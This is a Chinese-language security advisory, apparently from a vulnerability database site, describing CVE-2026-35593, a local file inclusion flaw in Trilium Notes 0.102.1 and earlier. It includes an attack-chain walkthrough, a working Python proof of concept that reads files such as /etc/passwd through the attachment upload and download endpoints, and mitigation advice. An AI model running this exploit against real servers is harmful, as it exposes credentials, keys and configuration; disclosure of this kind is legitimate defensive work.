IPBUF安全漏洞报告
English
CVE-2026-35593 CVSS 6.8 中危

CVE-2026-35593 Trilium Notes 本地文件包含漏洞

披露日期: 2026-05-20

漏洞信息

漏洞编号
CVE-2026-35593
漏洞类型
本地文件包含
CVSS评分
6.8 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Trilium Notes

相关标签

本地文件包含Trilium Notes任意文件读取信息泄露

漏洞概述

Trilium Notes是一款开源跨平台笔记应用。其0.102.1及之前版本存在本地文件包含漏洞。经过身份验证的攻击者可利用`uploadModifiedFileToAttachment`接口,通过恶意构造的`filePath`参数读取服务器上的任意敏感文件。攻击者能将敏感文件内容替换到附件中并下载,导致SSH密钥、凭证及配置泄露,甚至引发远程代码执行风险。该漏洞已在0.102.2版本修复。

技术细节

该漏洞核心在于Trilium Notes的`uploadModifiedFileToAttachment`函数缺乏足够的路径安全校验。当攻击者向`/api/attachments/{attachmentId}/upload-modified-file`发送POST请求时,系统会解析请求体中的`filePath`参数。攻击者可利用此机制,将服务器文件系统上的任意文件路径(如`/etc/shadow`或数据库配置文件)传入。系统随后将该路径指向的文件内容读取并覆写到指定的附件资源中。由于该功能设计初衷是修改附件,未限制路径范围,导致实现了任意文件读取。攻击者随后通过访问`/api/attachments/{attachmentId}/download`端点下载附件,从而获取敏感数据。尽管CVSS要求高权限,但一旦凭证泄露,此漏洞极具破坏性。

攻击链分析

STEP 1
认证获取
攻击者首先需要获取Trilium Notes的高权限账户凭证或会话令牌,因为该漏洞需要经过身份验证。
STEP 2
枚举附件
攻击者通过正常功能获取一个有效的附件ID(attachmentId),这是利用漏洞的必要参数。
STEP 3
恶意上传
攻击者向`/api/attachments/{attachmentId}/upload-modified-file`发送POST请求,在请求体中指定`filePath`为服务器上的敏感文件路径(如/etc/passwd)。
STEP 4
数据窃取
服务器将指定文件的内容写入附件,攻击者随后访问`/api/attachments/{attachmentId}/download`下载附件,从而读取敏感文件内容。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL and credentials TARGET_URL = "http://localhost:8080" ATTACHMENT_ID = "-xxxxxx" # Replace with a valid attachment ID SESSION_TOKEN = "your_session_cookie" # Authenticated session # The file to read on the server TARGET_FILE = "/etc/passwd" # Headers headers = { "Cookie": f"trilium.sid={SESSION_TOKEN}", "Content-Type": "application/json" } # Step 1: Upload modified file (trigger LFI) payload = { "filePath": TARGET_FILE } upload_url = f"{TARGET_URL}/api/attachments/{ATTACHMENT_ID}/upload-modified-file" response = requests.post(upload_url, json=payload, headers=headers) if response.status_code == 200: print(f"[+] Successfully triggered file replacement for {TARGET_FILE}") # Step 2: Download the attachment to read the file content download_url = f"{TARGET_URL}/api/attachments/{ATTACHMENT_ID}/download" file_response = requests.get(download_url, headers=headers) if file_response.status_code == 200: print("[+] File content retrieved:") print(file_response.text) else: print(f"[-] Failed to download file. Status: {file_response.status_code}") else: print(f"[-] Failed to upload. Status: {response.status_code}")

影响范围

Trilium Notes <= 0.102.1

防御指南

临时缓解措施
如果无法立即升级,应严格限制对`/api/attachments`接口的访问权限,仅允许受信任的IP或用户调用。同时,管理员应审计系统日志,检查是否存在针对`upload-modified-file`接口的可疑调用记录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表